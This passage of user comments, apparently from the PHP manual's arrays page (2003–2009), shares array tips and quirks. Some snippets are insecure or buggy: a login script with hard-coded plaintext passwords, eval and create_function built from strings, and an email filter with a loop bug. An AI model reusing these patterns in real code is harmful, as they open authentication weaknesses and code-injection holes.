 * by doing the job with a single line of code as in
 *
 *   $value = i( some_function_that_returns_an_array(), 'some_index', 'some_other_index' ) ;
 *
 * Note that since this function is slower than direct indexing, it should only be used in cases like the one
 * described above, for improving legibility.
 *
 * @param $array
 * @param $index
 * @param [optional] $index2, index3, ...
 * @throws Exception when the indexes do not exist
 */
function i(){
    $args = func_get_args();
    $array = $args[0];//gets the fist parameter, $array
    $indexes = $args;
    unset($indexes[0]);//because indexes[0] is actually not an index, but the first parameter, $array
    foreach( $indexes as $index ){
        if( (! is_array($array)) || (! array_key_exists( $index, $array )) ){
            throw new Exception("Array index out of bounds. Parameters:".print_r($args,true));
        }
        $array = $array[$index];
    }
    return $array;
}

?>
aaron at tekserve dot com 24-Oct-2009 06:16
Here's a function to recursively convert objects to arrays and remove the special characters from private and protected variables. I use it with XML_Serializer to convert objects to XML.

<?php
function object_to_array($mixed) {
    if(is_object($mixed)) $mixed = (array) $mixed;
    if(is_array($mixed)) {
        $new = array();
        foreach($mixed as $key => $val) {
            $key = preg_replace("/^\\0(.*)\\0/","",$key);
            $new[$key] = object_to_array($val);
        }
    }
    else $new = $mixed;
    return $new;
}
?>
unix at bujanoci dot net 20-Oct-2009 10:55
Just in case someone finds it usefull.
If you want to capitalize the first letter of each word in the array you could:
<?php
$myarray = array("one","two","three","four","etc..");

$map = array_map('ucfirst', $myarray);

$j = join(' , ', $map);
echo $j;
?>

This will return:  One , Two , Three , Four , Etc..
Probably it's not worth of posting it, but just thought beginners might find it usefull.
Anonymous 02-Oct-2009 04:33
This is a modification of a function like this which works with two dimensional arrays. Pass a 2d array to this function and my function will return an array of the arrays with the specified key-value pair (specified by $key and $value).

<?php
function seekKey($array, $key, $value)
{
    $ret = array();
    for ($i=0;$i<count($array);$i++)
    {
        if ($array[$i][$key]==$value)
            $ret[] = $array[$i];
    }
    return $ret;
}
?>
Martin 28-Sep-2009 11:04
You can actually create arrays in arrays; just consider the following code:

<?php
function LoadData($file)
    {
    $lines = file($file) or die('Could not open file');
foreach($lines as $line)
        {
        $i[] = array($line);
print_r($i[1])
}
LoadData('file.csv');

?>

A (.csv-)file is loaded into the function LoadData and stored in the array $lines. Then foreach puts the values from the $lines-array into $line and $i is defined as an array of the array $line. Please note that this type of code could take up much of CPU-usage; it generates a multi-dimensional array.

When $i is printed (in the example, value 1 of the array) it would display:

Array ( [0] => Array (
[0] => 7;75;X;0;0;1;0;3;Gr;Br;Do;0;0;0;0;0;0;0;0;
[1] => ;200;K;0;0;0;0;0;Gr;0;0;0;0;ZL;0;0;0;0;0;
[2] => ;260;Z;;;;;;Gr;;;;;VL;;;;;;
[3] => ;270;K;;;;1;;Gr;Br;Li;;;;;;;;;
[4] => ;500;V;;;;;;Br;;;;;;;;;;;
[5] => 6;60;X;;;;;;;;;;;;;;;;;
[6] => ;80;K;;;;;;Gr;;;;;ZL;;;;;;
[7] => ;210;Z;;;;;;Gr;;;;;;;;;;;
)
webmaster at oehoeboeroe dot nl 04-May-2009 07:47
A simple function to check if you can use your variable as an array offset validly and without getting it typecasted.

<?php
function is_safe_offset($offset) {
    return array_pop(@array_flip(array($offset => 0))) === $offset;
}

$a = 8;
var_dump(is_safe_offset($a));  // true

$b = '8';
var_dump(is_safe_offset($b));  // false

$c = '08';
var_dump(is_safe_offset($c));  // true

$d = 'foo';
var_dump(is_safe_offset($d));  // true

$e = 3.8;
var_dump(is_safe_offset($e));  // false

$f = false;
var_dump(is_safe_offset($f));  // false

$g = null;
var_dump(is_safe_offset($g));  // false

$h = array();
var_dump(is_safe_offset($h));  // false

$i = new StdClass;
var_dump(is_safe_offset($i));  // false
?>
genix at arctoz dot de 07-Mar-2009 04:41
Hello,

to check if an element was set is actually pretty simple:

<?php

$array = ('first' => 1,
          'sec' => 2
         );

$out = (isset($array['third'])) ? $array['third'] : 'third not set...';

echo $out;
?>

greets,
genix
Dawid Krysiak 17-Dec-2008 03:09
Trying to get array element that was not set, throws ERROR_NOTICE and returns NULL. Example:
<?php /* php v.4.4.7 */
$array = array(
    'apple' => 'green',
    'orange' => 'orange',
);
$pear_color = $array['pear'];    // Notice: Undefined index: pear in /path/to/file.php on line 123
var_dump($pear_color);        // NULL
?>
Haven't found that mentioned on this page.
hek at theeks dot net 24-Oct-2008 08:58
Note that NULL is not exactly a scalar value, so the following two lines of code do NOT produce identical arrays.

<?php
$x = (array) null; // $x ends up an empty array (zero elements)
$y = array(null); // $y ends up an array containing one element (a null)
?>
pinkgothic at gmail dot com 13-Sep-2008 08:49
Re: fmouse,

the phenomenom you're describing pertains to superglobals, not arrays, and it only applies in a very specific scope. Check out http://de.php.net/manual/en/language.variables.variable.php :

"Please note that variable variables cannot be used with PHP's Superglobal arrays within functions or class methods. The variable $this is also a special variable that cannot be referenced dynamically."
frywater 04-Jun-2008 04:43
>fmouse

Variable variables can be used with arrays as discussed in the variable variable section.
Also, from your code, $somevar can be an array and still work fine.

$fum = "somevar";
$$fum = array(); // $somevar is now an array
$foo = $$fum;
print_r( $foo); // we get an empty array printed

print_r() doesn't just print arrays, it prints any variable type.
If you pass it a variable, that hasn't been defined yet, it won't know how to print it.

You would get this same results by passing any undefined variable such as:
print_r( $bar );  // PHP Notice: undefined variable ...$bar
fmouse at fmp dot com 29-Apr-2008 01:14
Using variables as array names no longer works in PHP5.

$fum = "somevar";
$foo = $$fum;

# Still works if $somevar isn't an array.  $foo contains the value of $somevar

but ....

$fum = "_POST";
print_r($$fum);
print_r(${$fum});

Neither form of indirection works in this context.  $$fum comes back empty.

If you have PHP4 code that used this kind of indirection you can work around the change in PHP5 using an eval().

$fum = "_POST";
$foo = eval("return $$fum;");
print_r($foo);

This works!
rama dot devi at gmail dot com 18-Mar-2008 01:52
Sorting double dimensional arrays by a specified key bothe for Strings and for integers:
Ex:

 $personDetails =  array( array("firstName" => "Nancy", "lastName" => "Grace", "age" => 22), array("firstName" => "Andy",  "lastName" => "Peter", "age" => 28),                           array("firstName" => "Jim",   "lastName" => "Gary",  "age" => 25), array("firstName" => "Lary",  "lastName" => "James", "age" => 28),  array("firstName" => "Peter", "lastName" => "David", "age" => 17), array("firstName" => "Raj",   "lastName" => "King",  "age" => 9),                           array("firstName" => "John",  "lastName" => "Baxter","age" => 35) );
//To sort the array by firstName:-
     function sortFirstName($p1, $p2) {
          return strnatcmp($p1['firstName'], $p2['firstName']);
      }
      usort($personDetails, 'sortFirstName');

//To sort by an integer Field

   function sortByInteger(&$personDetails, $field) {
      $sort = "return strnatcmp(\$p1['$field'], \$p2['$field']);";
       usort($personDetails, create_function('$p1,$p2', $sort));
        return $personDetails;
    }

    $personDetails = sortByInteger($personDetails, 'age');
//To sort the array in Descending order by a key, It can be done by adding "-" sign before strnatcmp() function.

I hope this helps
ken underscore yap atsign email dot com 09-Jan-2008 08:00
"If you convert a NULL value to an array, you get an empty array."

This turns out to be a useful property. Say you have a search function that returns an array of values on success or NULL if nothing found.

$values = search(...);

Now you want to merge the array with another array. What do we do if $values is NULL? No problem:

$combined = array_merge((array)$values, $other);

Voila.
pepesantillan at gmail dot com 18-Dec-2007 04:25
z on 22-Apr-2005 12:10 wrote:
-----------------------------------------------
Here's a simple function to insert a value into some position in an array

<?php
function array_insert($array,$pos,$val)
{
    $array2 = array_splice($array,$pos);
    $array[] = $val;
    $array = array_merge($array,$array2);

    return $array;
}
?>

and now for example...
<?php
$a = array("John","Paul","Peter");
$a = array_insert($a,1,"Mike");
?>

Now $a will be "John","Mike","Paul","Peter"
-----------------------------------------------

Im learning to use PHP and reading about array_splice found that

<?php
function array_insert($array,$pos,$val)
{
    $array2 = array_splice($array,$pos);
    $array[] = $val;
    $array = array_merge($array,$array2);

    return $array;
}

$a = array("John","Paul","Peter");
$a = array_insert($a,1,"Mike");
print_r($a);
?>

would output the same as

<?php
$b = array("John","Paul","Peter");
array_splice($b,1,0,array("Mike"));
print_r($b);
?>
SID TRIVEDI 10-Oct-2007 02:14
<?php

//Simple Login Script using associative array.

//You may modify the codes and use $_POST['FORM_FIELD_DATA'] for your web-page.
//You may spice-up the codes with more form field validation & security features.

//$user_name=$_POST['user_name'];
//$password=$_POST['password'];

$test_user_name = 'michelle_smith'; //for testing purpose only
$test_password = 'msmith321';        //for testing purpose only
$user_name = $test_user_name;
$password = $test_password;

// here user_name is key and password is the value of an array..
// website owner has to add new user/site member manually in $login_array

$login_array = array(
                'user_name' => 'password',
                'alex_duff' => 'alx321',
                    'xena78' => 'xena321',
                'dela_pena' => 'delp321',
                'shawn_1981' => 'shw81',
                'michelle_smith' => 'msmith321');

ksort ($login_array);
reset($login_array);
if (isset($login_array[$user_name]))
{
$pass_check = $login_array[$user_name];
if ($password === $pass_check)
{
echo  "Welcome, $user_name!\n<br>"; //may redirect to specific webpage.
}
else
{
echo "Please try again!"; //may redirect to Error page.
}
}
else
{
    echo "Please register with us. Thanks!"; //may redirect to registration page.
    exit();

}
echo("\n<br>");
echo 'Thanks to Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski for wonderful PHP!';

?>
carl at linkleaf dot com 06-Sep-2007 11:36
Its worth noting that there does not appear to be any functional limitations on the length or content of string indexes. The string indexes for your arrays can contain any characters, including new line characters, and can be of any length:

<?php

$key = "XXXXX";
$test = array($key => "test5");

for ($x = 0; $x < 500; $x++) {
  $key .= "X";
  $value = "test" . strlen($key);
  $test[$key] = $value;
}

echo "<pre>";
print_r($test);
echo "</pre>";

?>

Keep in mind that using extremely long array indexes is not a good practice and could cost you lots of extra CPU time. However, if you have to use a long string as an array index you won't have to worry about the length or content.
Gautam 30-Aug-2007 01:56
<?php
//EXAMPLE  of Multi-Dimentional Array where as an array's keys are an array itself.
//It's so easy to create one like this.

$movie_to_watch = array ('Action'=>
          array('Kanu Reeves' => 'Matrix Reloaded',
                      'Pearce Brosnan' => 'Die Another Day',
                      'Tom Cruz' => 'Mission Impossible',
                      'Jason Statham' => 'Crank',
                      'Danzel Washington' => 'Man on Fire'),
                'Comedy' =>
                array ('Charlie Chaplin' => 'City Lights',
                       'Jim Carrey'    => 'Cable Guy',
                       'Rowan Atkinson' => 'The Ultimate Disaster'));
$type_wanted = 'Action'; //You may switch type from Action to Comedy.
$hero_wanted = 'Pearce Brosnan'; // You may switch hero from Pearce Brosnan to Jim Carrey.

print ("$hero_wanted 's  $type_wanted movie is " . $movie_to_watch[$type_wanted][$hero_wanted].".");
// produces browser output as under:
// Pearce Brosnan 's Action movie is Die Another Day.
?>
Olegk, getmequick[at]gmail[dot]com 21-Aug-2007 02:59
Hey..

here is a function which helps to avoid using empty/isset
checkings for arrays.

(it's acts simillar to 'default' modifier in Smarty)

Using this function you will avoid 'Undefined index' or
'Undefined offset' error.

<?php

$_POST['id']['other'] = 'val1';

/*
key exist (same as $_POST['id'][other])
*/
echo getRequestParam('id[other]', 'default value');

/*
key doesn't exist, we get default value (same as $_POST['var'])
*/

echo getRequestParam('var', 'default value');

function getRequestParam( $var, $default = '', $method = 'post' )
{
    preg_match_all('!(\w+)!i',$var, $match );
    array_shift($match);
    $_vars = $match[0];
    $ret = null;

    if(     strtoupper($method)   ==  'POST' ) {
        $ret = _findRequestParam($_vars, $_POST);
    }
    elseif( strtoupper($method) == 'GET' ) {
        $ret = _findRequestParam($_vars, $_GET);
    }
    elseif( strtoupper($method) == 'COOKIE' ) {
        $ret = _findRequestParam($_vars, $_COOKIE);

    }
    elseif( strtoupper($method) == 'SESSION' ) {
        $ret = _findRequestParam($_vars, $_SESSION);
    }

    if (! $ret )
          return $default;
    else
        return $ret;

}

/**
@access private
*/

function _findRequestParam($vars, $find_in , $curr_key = 0)
{
    static $ret;

    if( array_key_exists($vars[$curr_key], $find_in) ) {
        if( count( $vars)-1 == $curr_key ) {
            $ret =  $find_in[$vars[$curr_key]];
        }
        elseif( $curr_key < count( $vars)-1 ) {
            _findRequestParam( $vars, $find_in[$vars[$curr_key]], $curr_key+1  );
        }
    }

    return $ret;

}

?>

Hope this will help someone!
conorj 14-Jul-2007 08:34
Another note on unquoted array indices. Because it is first interpreted as a constant, it must obey the naming convention of constants. i.e. a letter or underscore followed by optional letter, digit and/or underscore characters.

Therefore while the following array declaration is legal:
$a = array('1st'=>'First','2nd'=>'Second');

Trying to access either array item as follows causes an error:

$first = "$a[1st]";
$second = "$a[2nd]";
moehbass at gmail dot com 10-Jul-2007 05:41
<b>Mark Gukov</b> wrote below:

Regarding the fact that there's no need to quote arrays keys when enclosed in double quotes: it only applies to single dimensional arrays.

The following works fine:

<?php
$r['a'] = 'apple';
echo "$r[a] is tasty.";
?>

...but in the case of multi-dimensional arrays:

<?php
$r['a']['b'] = 'banana';
echo "$r[a][b] is tasty.";
?>

would result in "Array[c] is tasty."
-----------------------------------------------------------------

However, the following runs fine;
$r['a']['b'] = 'banana';
echo "{$r[a][b]} is tasty.";

Just box it!
don dot hosek at gmail dot com 23-May-2007 05:37
It's slightly faster to use array_splice to remove an element of an array:
array_splice($array, $index, 1)
than to do it using the suggested method of unset and reindex:
unset($array[$index]);
$array = array_values($array);

The difference, however, is very small. With 950 iterations I had times of
unset and reindex: 0.22837495803833
splice: 0.22392416000366
lesantoso at yahoo dot com 20-Mar-2007 02:14
This Indonesian number speller function is twice
faster(*) than the one provided in class Terbilang by
anghuda(at)gmail(dot)com (25-May-2006 08:52):

http://www.lesantoso.com/terbilang.html

(*) 2.1 vs. 4.2 seconds in processing 10000 random numbers
Spudley 16-Mar-2007 01:44
On array recursion...

Given the following code:

<?
$myarray = array('test',123);
$myarray[] = &$myarray;
print_r($myarray);
?>

The print_r() will display *RECURSION* when it gets to the third element of the array.

There doesn't appear to be any other way to scan an array for recursive references, so if you need to check for them, you'll have to use print_r() with its second parameter to capture the output and look for the word *RECURSION*.

It's not an elegant solution, but it's the only one I've found, so I hope it helps someone.
kal at kalunite dot com i mean dot net 16-Jan-2007 05:55
About the automatic conversion of bare strings...
My opinion is that it never should have been implemented. Isn't it easier to NOT implement this "handy" feature in the first place? It is such a convenient way for "smart" programmers to write unsafe, not-futureproof code. Please remove this feature from future versions of PHP, please. (Hey, if you could change the OOP mechanisms between PHP 4 and PHP 5, why can't you make this change, right?)
25-Oct-2006 09:18
This page should include details about how associative arrays are implemened inside PHP; e.g. using hash-maps or b-trees.

This has important implictions on the permance characteristics of associative arrays and how they should be used; e.g. b-tree are slow to insert but handle collisions better than hashmaps.  Hashmaps are faster if there are no collisions, but are slower to retrieve when there are collisions.  These factors have implictions on how associative arrays should be used.
Mark Gukov 27-Sep-2006 02:18
Regarding the fact that there's no need to quote arrays keys when enclosed in double quotes: it only applies to single dimensional arrays.

The following works fine:

<?php
$r['a'] = 'apple';
echo "$r[a] is tasty.";
?>

...but in the case of multi-dimensional arrays:

<?php
$r['a']['b'] = 'banana';
echo "$r[a][b] is tasty.";
?>

would result in "Array[c] is tasty."
petruzanautico at yahoo dot com dot ar 21-Sep-2006 08:30
Regarding the message of phoenixbytes:

The line foreach($bad as $baddies); will just yield in $baddies the last value of the array $bad.
I think that wasn't your intention, in that case there are faster and better ways than foreach.

I think what you wanted to do is:
<?php
foreach($bad as $baddies) // make a collection
{
    if (preg_match("/$baddies/i", $mailto)) // find a match
    {
    $addrmail = "false";
    }
    else
    {
    $addrmail = "true";
    }
} // foreach end
?>
php dot net at todandlorna dot com 25-Jul-2006 04:28
in response to ch dot martin at gmail dot com

If you are using the following code:

<?php
$r = array('05' => "abc", '35' => "def");
foreach ($r as $key=>$value)
   var_dump($key);
?>

and you need the array key '35' to be a string (for looping maybe), you can make sure the key is a string by appending a 0 on the front.

'035' instead of '35'
ch dot martin at gmail dot com 08-Jun-2006 11:40
Extremely irritating quirk regarding the variable types of array keys:

<?php
$r = array('05' => "abc", '35' => "def");
foreach ($r as $key=>$value)
    var_dump($key);
?>

The first var_dump for '05' is:
    string(2) "05"
as expected.  But the second, '35', turns out as:
    int(35)

Php apparently decided to make the 35 became an int, but not the 05 (presumably because it leads with a zero).  As far as I can see, there is absolutely no way of making string(2) "35" an array key.
anghuda(at)gmail(dot)com 25-May-2006 06:52
this is simpler tha function display_angka_bilangan by ktaufik(at)gmail(dot)com (16-Feb-2005 12:40)

<?

/*
*
* Class : Terbilang
* Spell quantity numbers in Indonesian or Malay Language
*
*
* author: huda m elmatsani
* 21 September 2004
* freeware
*
* example:
* $bilangan = new Terbilang;
* echo $bilangan -> eja(137);
* result: seratus tiga puluh tujuh
*
*
*/

Class Terbilang {

    function terbilang() {
        $this->dasar = array(1=>'satu','dua','tiga','empat','lima','enam',
        'tujuh','delapan','sembilan');

        $this->angka = array(1000000000,1000000,1000,100,10,1);
        $this->satuan = array('milyar','juta','ribu','ratus','puluh','');
    }

    function eja($n) {

    $i=0;
    while($n!=0){

        $count = (int)($n/$this->angka[$i]);

        if($count>=10) $str .= $this->eja($count). " ".$this->satuan[$i]." ";
        else if($count > 0 && $count < 10)
            $str .= $this->dasar[$count] . " ".$this->satuan[$i]." ";

            $n -= $this->angka[$i] * $count;
            $i++;
        }
        $str = preg_replace("/satu puluh (\w+)/i","\\1 belas",$str);
        $str = preg_replace("/satu (ribu|ratus|puluh|belas)/i","se\\1",$str);

        return $str;
    }
}

?>
benjcarson at digitaljunkies dot ca 09-May-2006 01:46
phoenixbytes: The regex you have posted for matching email addresses is incorrect.  Among other things, it does not allow '+' before the '@' (which is perfectly valid and can be quite useful to separate extensions of a single address).  RFC 822 [1] defines the grammar for valid email addresses, and (the extemely long) regex implementing can be found at [2].  Even the "Add Note" page here at php.net says:

[quote]
And if you're posting an example of validating email addresses, please don't bother. Your example is almost certainly wrong for some small subset of cases. See this information from O'Reilly Mastering Regular Expressions book for the gory details.
[/quote]

A note to others: please do your homework before writing another email-matching regex.

[1] http://www.ietf.org/rfc/rfc0822.txt?number=822
[2] http://www.ex-parrot.com/~pdw/Mail-RFC822-Address.html.
phoenixbytes at o2 dot co dot uk 16-Apr-2006 05:10
i use the array() function for deciding upon an email address's validity, i have a 'wap stalker' of my site that loves to exploit every hole i leave, so i used the following script to avoid being email bombed with my own file sender script, the array() is used to filter out undesirable email providers and, of course, any and all of my own addresses. before all that i used a REGEX to make sure it's an actual email address before going any further.

$mailto = "mail.domain.org"; // the input to be tested

if (preg_match("/^[A-Z0-9._%-]+@[A-Z0-9._%-]+\.[A-Z]{2,6}$/i", $mailto)) // see if it's really an email address
{
    $bad = array('mytrashmail.com', 'mymail.ro', 'acasa.ro', 'gala.net', 'phoenixbytes'); // pick out the victims
    foreach($bad as $baddies); // make a collection

    if (preg_match("/$baddies/i", $mailto)) // find a match
    {
    $addrmail = "false";
    }
    else
    {
    $addrmail = "true";
    }

}
else
{
$addrmail = "false";
}

$addrmail can then be used in an argument.
$baddies can be used to give a list, if necessary.

i hope this helps someone.
crozzer 01-Apr-2006 12:54
Passing variables into the array constructor:
Just a NOOB pointer, I couldn't find other examples for this.  If you want to pass the value of an existing variable into the array() constructor, you can quote it or not, both methods are valid.

<?
$foo_value = 'foo string';
$bar_value = 'bar string';

$myArray = array(
    'foo_key' => $foo_value,     // not quoted
    'bar_key' => "$bar_value");   // quoted

foreach ($myArray as $k => $v) {
   echo "\$myArray[$k] => $v.<br />\n";
}
?>

Both of these will work as expected, but the unqoted $foo_value method above is marginally faster because adding quotes adds an additional string de-reference.
sales at maboom dot ch 13-Dec-2005 09:41
if you need to check a multidimensonal array for values it's handy to store it like

$ar['key1'][0]
$ar['key2'][0]
$ar['key3'][0]

$ar['key1'][1]
$ar['key2'][1]
$ar['key3'][1]

and to loop the keys.

Fill the array (from a database-request):

while($rf=mysql_fetch_row($rs))

{
    $nr=$rf[0];
    $channel['nr'][$nr]=$rf[1];
    $channel['chatter'][$nr]=$rf[2];
}

Call the values:

foreach(array_keys($channel['nr']) as $test)
{
print ' nr:'.$test.'<br>';
print 'value nr: '.$channel['nr'][$test].'<br>';
print ' chatter: '.$channel['chatter'][$test].'<br>';
}

This is useful, if you have to look later for an element
inside the array:

if(in_array($new_value,$channel['nr'])) print 'do something.';

Hope this helps someone.
ia [AT] zoznam [DOT] sk 30-Sep-2005 02:55
Regarding the previous comment, beware of the fact that reference to the last value of the array remains stored in $value after the foreach:

<?php
foreach ( $arr as $key => &$value )
{
    $value = 1;
}

// without next line you can get bad results...
//unset( $value );

$value = 159;
?>

Now the last element of $arr has the value of '159'. If we remove the comment in the unset() line, everything works as expected ($arr has all values of '1').

Bad results can also appear in nested foreach loops (the same reason as above).

So either unset $value after each foreach or better use the longer form:

<?php
foreach ( $arr as $key => $value )
{
    $arr[ $key ] = 1;
}
?>
stochnagara at hotmail dot com 27-Sep-2005 01:53
Regarding the previous comment, thw following code does the job:

<?php
foreach($arr as $key => &$value) {
   $value = 1;
}
?>
jazepstein OverAt GeeMail dot com 19-Sep-2005 06:14
Regarding the previous comment, the fact that this code has no effect is perfectly expected:

<?php
foreach($arr as $value) {
   $value = 1;
}
?>

The reason that this doesn't work, is because each time that PHP goes through the loop, it _copies_ the value of the array element into $value. So if you assign a new value to the data in $value, it has no effect on the actual array, because you only changed the value of the copy that was put in $value.

As was discovered in the previous post, the only way to get around this problem is to change the value in the original array. Hence, a typical foreach should instead look like this:

<?php
foreach($arr as $key => $value) {
   $arr[$key] = 1;
}
?>
caifara aaaat im dooaat be 28-Aug-2005 02:28
[Editor's note: You can achieve what you're looking for by referencing $single, rather than copying it by value in your foreach statement. See http://php.net/foreach for more details.]

Don't know if this is known or not, but it did eat some of my time and maybe it won't eat your time now...

I tried to add something to a multidimensional array, but that didn't work at first, look at the code below to see what I mean:

<?php

$a1 = array( "a" => 0, "b" => 1 );
$a2 = array( "aa" => 00, "bb" => 11 );

$together = array( $a1, $a2 );

foreach( $together as $single ) {
    $single[ "c" ] = 3 ;
}

print_r( $together );
/* nothing changed result is:
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
        )
) */

foreach( $together as $key => $value ) {
    $together[$key]["c"] = 3 ;
}

print_r( $together );

/* now it works, this prints
Array
(
    [0] => Array
        (
            [a] => 0
            [b] => 1
            [c] => 3
        )
    [1] => Array
        (
            [aa] => 0
            [bb] => 11
            [c] => 3
        )
)
*/

?>
uzakufuklar at hotmail dot com 03-Aug-2005 11:24
It is a kind of simple muti-dimensional array list.
 I have made it just to give a simple idea.
<?php
echo "Here we'll see how to create a multi-dimensional array.\n";
$a=array('fruits'=>array('a'=>'orange',
                      'b'=>'grape',c=>'apple'),
            'numbers'=>array(1,2,3,4,5,6),
            'holes'=>array('first',5=>'second',
                                                          'third')
            );
foreach($a as $list=>$things){
    foreach($things as $newlist=>$counter){
    echo $counter;
    }
}
?>
z 22-Apr-2005 12:10
Here's a simple function to insert a value into some position in an array

<?php
function array_insert($array,$pos,$val)
{
    $array2 = array_splice($array,$pos);
    $array[] = $val;
    $array = array_merge($array,$array2);

    return $array;
}
?>

and now for example...
<?php
$a = array("John","Paul","Peter");
$a = array_insert($a,1,"Mike");
?>

Now $a will be "John","Mike","Paul","Peter"
jeff splat codedread splot com 21-Apr-2005 09:16
Beware that if you're using strings as indices in the $_POST array, that periods are transformed into underscores:

<html>
<body>
<?php
    printf("POST: "); print_r($_POST); printf("<br/>");
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
    <input type="hidden" name="Windows3.1" value="Sux">
    <input type="submit" value="Click" />
</form>
</body>
</html>

Once you click on the button, the page displays the following:

POST: Array ( [Windows3_1] => Sux )
roland dot swingler at transversal dot com 05-Apr-2005 08:24
Something that tripped me up:

If you mix string and integer keys, be careful if you are doing a comparison on the to find if a string key exists.

For example, this will not do what you expect it to do:

<?php
$exampleArray = array();
$exampleArray['foo'] = 'bar';
$exampleArray[] = 'Will create 0 index';

$keyWeAreLookingFor = "correctKey";

foreach ($exampleArray as $key => $value){
  if ($key == $keyWeAreLookingFor){
    print "Found Key";
  }
}
?>

It will print "Found Key", because (I presume) when PHP makes the comparison between the string "correctKey" and the index 0, it casts the string to an integer, rather than casting 0 to the string "0" and then doing the comparison.

Using === fixes the problem:

<?php
foreach ($exampleArray as $key => $value){
  if ($key === $keyWeAreLookingFor){
    print "Found Key";
  }
}
?>
lars-phpcomments at ukmix dot net 28-Mar-2005 08:40
Used to creating arrays like this in Perl?

@array = ("All", "A".."Z");

Looks like we need the range() function in PHP:

<?php
$array = array_merge(array('All'), range('A', 'Z'));
?>

You don't need to array_merge if it's just one range:

<?php
$array = range('A', 'Z');
?>
mortoray at ecircle-ag dot com 16-Feb-2005 12:59
On array copying a deep copy is done of elements except those elements which are references, in which case the reference is maintained.  This is a very important thing to understand if you intend on mixing references and recursive arrays.

By Example:
    $a = array( 1 );
    $aref_a = array( &$a );
    $copy_aref_a = $aref_a;
    $acopy_a = array( $a );
    $copy_acopy_a = $acopy_a;

    $a[] = 5;
    $acopy_a[0][] = 6;

    print_r( $aref_a ); //Shows: ( (1,5) )
    print_r( $copy_aref_a ); //Shows: ( (1,5) )
    print_r( $acopy_a ); //Shows: ( (1, 6) )
    print_r( $copy_acopy_a ); //Shows: ( (1) )
ktaufik(at)gmail(dot)com 16-Feb-2005 12:40
For you who works for localized "say" number to letter ( ex , 7=> seven, 8=>eight) for Bahasa Indonesia.

Indonesia "say" or "Terbilang" is based on 3 digit number.
thousands, millions and trillions .... will be based on the 3 digit number.

In Indonesia you say 137 as "Seratus Tiga Puluh Tujuh"

<?php
//build random 3 digit number to be "said" in Bahasa Indonesia
$x=rand(0,9);
$y=rand(0,9);
$z=rand(0,9);

function display_angka_bilangan($n) {
   $angka = array(
     1 => 'satu',
     2 => 'dua',
     3 => 'tiga',
     4 => 'empat',
     5 => "lima",
     6 => 'enam',
     7 => 'tujuh',
     8 => 'delapan',
     9 => 'sembilan'
   );
   return $angka[$n];
}
// Terbilang X-------Say X
if ($x==1){$terbilangx="seratus ";}
elseif ($x==0){$terbilangx='';}
else {$terbilangx=''.display_angka_bilangan($x).' '.'ratus ';}
// Terbilang Y ------Say Y
if ($y==0){$terbilangy='';}
elseif ($y==1 && $z==1){$terbilangy="sebelas";$terbilangz='';}
elseif ($y==1 && $z==0){$terbilangy="sepuluh ";$terbilangz='';}
elseif ($y==1 && $z!==1 &&  $z!==0){$terbilangy=''.display_angka_bilangan($z).' belas ';}
else {$terbilangy=''.display_angka_bilangan($y).' '.'puluh ';}
// Terbilang z ------Say z
if ($z==0){$terbilangz="";}
elseif ($z==0 && $y==1){$terbilangz="";}
elseif ($z==1 && $y==1){$terbilangz="";}
elseif($y==0) {$terbilangz="".display_angka_bilangan($z);}
elseif ($y==1 && $z!==1 &&  $z!==0) {$terbilangz="";}
else {$terbilangz="".display_angka_bilangan($z);};

$terbilang=$terbilangx.$terbilangy.$terbilangz;
echo $x.$y.$z." ";
echo $terbilang;
?>

Hope it is useful
ktaufik(at)gmail(dot)com
db 05-Jan-2005 07:06
[Editor's Note: (Second example.) These are not "arrays in arrays". These are single-dimensional arrays containing stdClass objects; all objects are referenced by default in PHP5. You can see in the var_dump output that they point to the same object.]

Attention with Arrays in Arrays!

If you copy (=) an array which contains arrays it will be REFERENCED not COPIED.

Example:

<?php
/* GOOD ONE */
echo "<b>Here copy (=) works correct:</b><br>";
/* Initialise Array 1 */
$x1 = array(array(10,20),array(30,40));
/* COPY Array */
$x2 = $x1;
/* Change some values in Array 2 */
$x2[0][0]=77;
$x2[1][1]=99;
echo "<b>Original:</b><pre>";
var_dump($x1);
echo "</pre><b>Changed Copy:</b><pre>";
var_dump($x2);

/* BAAAAAAAD ONE */
echo "</pre><hr><b>Here copy (=) FAILS:</b><br>";
/* Initialise Array 1 */
$a1[0]->bla[0]->id=10;
$a1[0]->bla[1]->id=20;
$a1[1]->bla[0]->id=30;
$a1[1]->bla[1]->id=40;
/* COPY Array */
$a2 = $a1;
/* Change some values in Array 2 (!) */
$a2[0]->bla[0]->id=77;
$a2[1]->bla[1]->id=99;
echo "<b>Original:</b><pre>";
var_dump($a1);
echo "</pre><b>Changed Copy:</b><pre>";
var_dump($a2);
echo "</pre>";

php?>

The output of $a1 and $a2 will be the same..
Joe Morrison <jdm at powerframe dot com> 08-Nov-2004 01:26
Programmers new to PHP may find the following surprising:

<?php

$x[1] = 'foo';
$x[0] = 'bar';
echo "Original array:\n";
var_dump($x);

array_pop($x);
echo "Array after popping last element:\n";
var_dump($x);

?>

The surprise is that element 0 is deleted, not element 1. Apparently the notion of "last element" has more to do with how the array is stored internally than with which element has the highest numeric index. I recently translated a Perl program to PHP and was bitten by this one.

My solution was to identify all the places in my code where I could prove that the array elements were assigned sequentially. In those cases it is safe to use array_pop, array_splice, etc. since the array indices correspond with the array layout. For the other cases, my solution was to write replacements for the built-in array functions such as this one:

<?php

function safe_pop(&$a)
{
  if (!isset($a))
    return;

  if (!is_array($a))
    return;

  if (count($a) == 0)
    return;

  unset($a[max(array_keys($a))]);
}

?>
Cameron Brown 18-Nov-2003 08:51
Negative and positive array indices have different behavior when it comes to string<->int conversion.  1 and "1" are treated as identical indices, -1 and "-1" are not.  So:

$arr["1"] and $arr[1] refer to the same element.
$arr["-1"] and $arr[-1] refer to different elements.

The following code:

<?
  $arr[1]    = "blue";
  $arr["1"]  = "red";
  $arr[-1]   = "blue";
  $arr["-1"] = "red";

  var_dump($arr);
?>

produces the output:

array(3) {
  [1]=>
  string(3) "red"
  [-1]=>
  string(4) "blue"
  ["-1"]=>
  string(3) "red"
}

This code should create an array with either two or four elements.  Which one should be the "correct" behavior is an exercise left to the reader....
akamai at veloxmail dot com dot br 16-Jul-2003 04:22
It is quite simple, but don't forget when you'll using foreach with forms arrays.

If your field name is:
